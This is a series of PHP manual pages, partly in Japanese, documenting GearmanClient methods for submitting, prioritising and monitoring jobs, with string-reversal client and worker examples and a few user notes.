Add a high priority task to run in parallel

  • ≪ GearmanClient::addTaskBackground
  • GearmanClient::addTaskHighBackground ≫
  • PHP Manual
  • GearmanClient
  • Add a high priority task to run in parallel

GearmanClient::addTaskHigh

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHigh — Add a high priority task to run in parallel

説明

public GearmanClient::addTaskHigh ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask

Adds a high priority task to be run in parallel with other tasks. Call this method for all the high priority tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

context

タスクに関連づけるアプリケーションコンテキスト。

unique

タスクを特定するために用いる一意な ID。

返り値

A GearmanTask object or false if the task could not be added.

例

例1 A high priority task along with two normal tasks

A high priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the high priority task run first.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is high priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskHigh("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}
echo "DONE\n";

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

COMPLETE: 2, Hello World!
COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
DONE

参考

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a high priority background task to be run in parallel

  • ≪ GearmanClient::addTaskHigh
  • GearmanClient::addTaskLow ≫
  • PHP Manual
  • GearmanClient
  • Add a high priority background task to be run in parallel

GearmanClient::addTaskHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel

説明

public GearmanClient::addTaskHighBackground ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask

Adds a high priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

context

タスクに関連づけるアプリケーションコンテキスト。

unique

タスクを特定するために用いる一意な ID。

返り値

A GearmanTask object or false if the task could not be added.

参考

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a low priority task to run in parallel

  • ≪ GearmanClient::addTaskHighBackground
  • GearmanClient::addTaskLowBackground ≫
  • PHP Manual
  • GearmanClient
  • Add a low priority task to run in parallel

GearmanClient::addTaskLow

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLow — Add a low priority task to run in parallel

説明

public GearmanClient::addTaskLow ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or low priority.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

context

タスクに関連づけるアプリケーションコンテキスト。

unique

タスクを特定するために用いる一意な ID。

返り値

A GearmanTask object or false if the task could not be added.

例

例1 A low priority task along with two normal tasks

A low priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the low priority task run last.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is low priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskLow("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}
echo "DONE\n";

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
COMPLETE: 2, Hello World!
DONE

参考

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a low priority background task to be run in parallel

  • ≪ GearmanClient::addTaskLow
  • GearmanClient::addTaskStatus ≫
  • PHP Manual
  • GearmanClient
  • Add a low priority background task to be run in parallel

GearmanClient::addTaskLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel

説明

public GearmanClient::addTaskLowBackground ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or high priority.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

context

タスクに関連づけるアプリケーションコンテキスト。

unique

タスクを特定するために用いる一意な ID。

返り値

A GearmanTask object or false if the task could not be added.

参考

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a task to get status

  • ≪ GearmanClient::addTaskLowBackground
  • GearmanClient::clearCallbacks ≫
  • PHP Manual
  • GearmanClient
  • Add a task to get status

GearmanClient::addTaskStatus

(PECL gearman >= 0.5.0)

GearmanClient::addTaskStatus — Add a task to get status

説明

public GearmanClient::addTaskStatus ( string $job_handle , string &$context = ? ) : GearmanTask

Used to request status information from the Gearman server, which will call the specified status callback (set using GearmanClient::setStatusCallback()).

パラメータ

job_handle

The job handle for the task to get status for

context

Data to be passed to the status callback, generally a reference to an array or object

返り値

A GearmanTask object.

例

例1 Monitor completion of multiple background tasks

An artificial delay is introduced in the worker in this example to simulate a long running process. There is only one worker running for this example.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* start some background jobs and save the handles */
$handles = array();
$handles[0] = $gmclient->doBackground("reverse", "Hello World!");
$handles[1] = $gmclient->doBackground("reverse", "!dlroW olleH");

$gmclient->setStatusCallback("reverse_status");

/* Poll the server to see when those background jobs finish; */
/* a better method would be to use event callbacks */
do
{
   /* Use the context variable to track how many tasks have completed */
   $done = 0;
   $gmclient->addTaskStatus($handles[0], &$done);
   $gmclient->addTaskStatus($handles[1], &$done);
   $gmclient->runTasks();
   echo "Done: $done\n";
   sleep(1);
}
while ($done != 2);

function reverse_status($task, $done)
{
   if (!$task->isKnown())
      $done++;
}

?>

上の例の出力は、 たとえば以下のようになります。

Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 2

参考

  • GearmanClient::setStatusCallback() - Set a callback for collecting task status

User Contributed Notes

There are no user contributed notes for this page.


Clear all task callback functions

  • ≪ GearmanClient::addTaskStatus
  • GearmanClient::clone ≫
  • PHP Manual
  • GearmanClient
  • Clear all task callback functions

GearmanClient::clearCallbacks

(PECL gearman >= 0.5.0)

GearmanClient::clearCallbacks — Clear all task callback functions

説明

public GearmanClient::clearCallbacks ( ) : bool

Clears all the task callback functions that have previously been set.

パラメータ

この関数にはパラメータはありません。

返り値

Always returns true.

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Create a copy of a GearmanClient object

  • ≪ GearmanClient::clearCallbacks
  • GearmanClient::__construct ≫
  • PHP Manual
  • GearmanClient
  • Create a copy of a GearmanClient object

GearmanClient::clone

(PECL gearman >= 0.5.0)

GearmanClient::clone — Create a copy of a GearmanClient object

説明

public GearmanClient::clone ( ) : GearmanClient

Creates a copy of a GearmanClient object.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanClient on success, false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanClient instance

  • ≪ GearmanClient::clone
  • GearmanClient::context ≫
  • PHP Manual
  • GearmanClient
  • Create a GearmanClient instance

GearmanClient::__construct

(PECL gearman >= 0.5.0)

GearmanClient::__construct — Create a GearmanClient instance

説明

public GearmanClient::__construct ( )

Creates a GearmanClient instance representing a client that connects to the job server and submits tasks to complete.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanClient object.

参考

  • GearmanClient::clone() - Create a copy of a GearmanClient object

User Contributed Notes

There are no user contributed notes for this page.


Get the application context

  • ≪ GearmanClient::__construct
  • GearmanClient::data ≫
  • PHP Manual
  • GearmanClient
  • Get the application context

GearmanClient::context

(PECL gearman >= 0.6.0)

GearmanClient::context — Get the application context

説明

public GearmanClient::context ( ) : string

Get the application context previously set with GearmanClient::setContext().

パラメータ

この関数にはパラメータはありません。

返り値

The same context data structure set with GearmanClient::setContext()

参考

  • GearmanClient::setContext() - Set application context

User Contributed Notes

There are no user contributed notes for this page.


Get the application data (deprecated)

  • ≪ GearmanClient::context
  • GearmanClient::do ≫
  • PHP Manual
  • GearmanClient
  • Get the application data (deprecated)

GearmanClient::data

(PECL gearman <= 0.5.0)

GearmanClient::data — Get the application data (deprecated)

説明

public GearmanClient::data ( ) : string

Get the application data previously set with GearmanClient::setData().

注意:

This method was replaced by GearmanClient::setContext() in the 0.6.0 release of the Gearman extension.

パラメータ

この関数にはパラメータはありません。

返り値

The same string data set with GearmanClient::setData()

参考

  • GearmanClient::setData() - Set application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Run a single task and return a result [deprecated]

  • ≪ GearmanClient::data
  • GearmanClient::doBackground ≫
  • PHP Manual
  • GearmanClient
  • Run a single task and return a result [deprecated]

GearmanClient::do

(PECL gearman >= 0.5.0)

GearmanClient::do — Run a single task and return a result [deprecated]

説明

public GearmanClient::do ( string $function_name , string $workload , string $unique = ? ) : string

The GearmanClient::do() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::doNormal().

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

A string representing the results of running a task.

例

例1 Simple job submission with immediate return

<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

上の例の出力は、 たとえば以下のようになります。

Starting
Sending job
Success: !olleH

例2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::do() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");
  # Check for various return packets and errors.

  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      echo "Error: " . $gmclient->error() . "\n";
      echo "Errno: " . $gmclient->getErrno() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

上の例の出力は、 たとえば以下のようになります。

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

参考

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

Shane Harter 15-Jun-2010 11:41
Note that this isn't blocking -- that do() will return as soon as the job is accepted by the Gearman jobserver.

That lets you do..while until the return code is success or failure as you see in the examples.


Run a task in the background

  • ≪ GearmanClient::do
  • GearmanClient::doHigh ≫
  • PHP Manual
  • GearmanClient
  • Run a task in the background

GearmanClient::doBackground

(PECL gearman >= 0.5.0)

GearmanClient::doBackground — Run a task in the background

説明

public GearmanClient::doBackground ( string $function_name , string $workload , string $unique = ? ) : string

Runs a task in the background, returning a job handle which can be used to get the status of the running task.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

The job handle for the submitted task.

例

例1 Submit and monitor a background job

The worker in this example has an artificial delay introduced to mimic a long running job. The client script periodically checks the status of the running job.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

$done = false;
do
{
   sleep(3);
   $stat = $gmclient->jobStatus($job_handle);
   if (!$stat[0]) // the job is known so it is not done
      $done = true;
   echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denominator: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

上の例の出力は、 たとえば以下のようになります。

Running: true, numerator: 3, denominator: 14
Running: true, numerator: 6, denominator: 14
Running: true, numerator: 9, denominator: 14
Running: true, numerator: 12, denominator: 14
Running: false, numerator: 0, denominator: 0
done!

参考

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

felix at passcod dot name 18-Aug-2017 01:16
Behaviour of the unique ID argument:

If it's not provided, it defaults to a UUIDv1 (timestamp + mac address).

Otherwise, if a job with the same unique ID exists (i.e. is either queued or currently executing), then that job is used, not the one you're submitting. This does not apply to past (completed) jobs, and works across the entire job server pool, assuming no partitioning.

Or with code (the values in [brackets] are the server-assigned job identifiers):

<?php

$gearman->doBackground('sleep', '3', '123'); // [H:host:1] Starts sleep(3)
$gearman->doBackground('sleep', '5', '456'); // [H:host:2] Queues sleep(5)
$gearman->doBackground('sleep', '3', '123'); // [H:host:1] Does nothing
$gearman->doBackground('sleep', '1', '123'); // [H:host:1] Also does nothing (diff args don't trigger new jobs)

sleep (3);
// Job 123 [sleep(3)] has finished by now

$gearman->doBackground('sleep', '3', '123'); // [H:host:3] Starts a new job

?>


Run a single high priority task

  • ≪ GearmanClient::doBackground
  • GearmanClient::doHighBackground ≫
  • PHP Manual
  • GearmanClient
  • Run a single high priority task

GearmanClient::doHigh

(PECL gearman >= 0.5.0)

GearmanClient::doHigh — Run a single high priority task

説明

public GearmanClient::doHigh ( string $function_name , string $workload , string $unique = ? ) : string

Runs a single high priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. High priority tasks will get precedence over normal and low priority tasks in the job queue.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

A string representing the results of running a task.

参考

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a high priority task in the background

  • ≪ GearmanClient::doHigh
  • GearmanClient::doJobHandle ≫
  • PHP Manual
  • GearmanClient
  • Run a high priority task in the background

GearmanClient::doHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::doHighBackground — Run a high priority task in the background

説明

public GearmanClient::doHighBackground ( string $function_name , string $workload , string $unique = ? ) : string

Runs a high priority task in the background, returning a job handle which can be used to get the status of the running task. High priority tasks take precedence over normal and low priority tasks in the job queue.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

The job handle for the submitted task.

参考

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Get the job handle for the running task

  • ≪ GearmanClient::doHighBackground
  • GearmanClient::doLow ≫
  • PHP Manual
  • GearmanClient
  • Get the job handle for the running task

GearmanClient::doJobHandle

(PECL gearman >= 0.5.0)

GearmanClient::doJobHandle — Get the job handle for the running task

説明

public GearmanClient::doJobHandle ( ) : string

Gets that job handle for a running task. This should be used between repeated GearmanClient::doNormal() calls. The job handle can then be used to get information on the task.

パラメータ

この関数にはパラメータはありません。

返り値

The job handle for the running task.

参考

  • GearmanClient::jobStatus() - Get the status of a background job

User Contributed Notes

There are no user contributed notes for this page.


Run a single low priority task

  • ≪ GearmanClient::doJobHandle
  • GearmanClient::doLowBackground ≫
  • PHP Manual
  • GearmanClient
  • Run a single low priority task

GearmanClient::doLow

(PECL gearman >= 0.5.0)

GearmanClient::doLow — Run a single low priority task

説明

public GearmanClient::doLow ( string $function_name , string $workload , string $unique = ? ) : string

Runs a single low priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. Normal and high priority tasks will get precedence over low priority tasks in the job queue.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

A string representing the results of running a task.

参考

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a low priority task in the background

  • ≪ GearmanClient::doLow
  • GearmanClient::doNormal ≫
  • PHP Manual
  • GearmanClient
  • Run a low priority task in the background

GearmanClient::doLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::doLowBackground — Run a low priority task in the background

説明

public GearmanClient::doLowBackground ( string $function_name , string $workload , string $unique = ? ) : string

Runs a low priority task in the background, returning a job handle which can be used to get the status of the running task. Normal and high priority tasks take precedence over low priority tasks in the job queue.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

The job handle for the submitted task.

参考

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a single task and return a result

  • ≪ GearmanClient::doLowBackground
  • GearmanClient::doStatus ≫
  • PHP Manual
  • GearmanClient
  • Run a single task and return a result

GearmanClient::doNormal

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

GearmanClient::doNormal — Run a single task and return a result

説明

public GearmanClient::doNormal ( string $function_name , string $workload , string $unique = ? ) : string

Runs a single task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

unique

タスクを特定するために用いる一意な ID。

返り値

A string representing the results of running a task.

例

例1 Simple job submission with immediate return

<?php

?>
<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

上の例の出力は、 たとえば以下のようになります。

Starting
Sending job
Success: !olleH

例2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::doNormal() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");
  # Check for various return packets and errors.

  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      echo "Error: " . $gmclient->error() . "\n";
      echo "Errno: " . $gmclient->getErrno() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

上の例の出力は、 たとえば以下のようになります。

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

参考

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

stanislav dot reshetnev at gmail dot com 05-Nov-2014 12:13
doNormal don't work in version php_gearman 0.8.3:

PHP Fatal error:  Call to undefined method GearmanClient::doNormal()

But it exist in version 1.1.2.
fastest963 at gmail dot com 12-Jan-2013 02:19
do() or doNormal() will block until the job is accepted by the worker. Looping is only necessary if you care about the response from the job. Use setTimeout() to control how long PHP will block.

If it does timeout, it throws a PHP Warning:
PHP Warning:  GearmanClient::do(): _client_do(GEARMAN_TIMEOUT) occured during gearman_client_run_tasks() -> libgearman/client.cc:174


Get the status for the running task

  • ≪ GearmanClient::doNormal
  • GearmanClient::echo ≫
  • PHP Manual
  • GearmanClient
  • Get the status for the running task

GearmanClient::doStatus

(PECL gearman >= 0.5.0)

GearmanClient::doStatus — Get the status for the running task

説明

public GearmanClient::doStatus ( ) : array

Returns the status for the running task. This should be used between repeated GearmanClient::doNormal() calls.

パラメータ

この関数にはパラメータはありません。

返り値

An array representing the percentage completion given as a fraction, with the first element the numerator and the second element the denomintor.

例

例1 Get the status of a long running job

The worker in this example has an artificial delay added during processing of the string to be reversed. After each delay it calls GearmanJob::status() which the client then picks up.

<?php

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");

  # Check for various return packets and errors.
  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      break;
    case GEARMAN_WORK_STATUS:
      # get the current job status
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>

上の例の出力は、 たとえば以下のようになります。

Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

参考

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanJob::status() - Send status (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Send data to all job servers to see if they echo it back [deprecated]

  • ≪ GearmanClient::doStatus
  • GearmanClient::error ≫
  • PHP Manual
  • GearmanClient
  • Send data to all job servers to see if they echo it back [deprecated]

GearmanClient::echo

(PECL gearman >= 0.5.0)

GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]

説明

public GearmanClient::echo ( string $workload ) : bool

The GearmanClient::echo() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::ping().

パラメータ

workload

Some arbitrary serialized data to be echo back

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns an error string for the last error encountered

  • ≪ GearmanClient::echo
  • GearmanClient::getErrno ≫
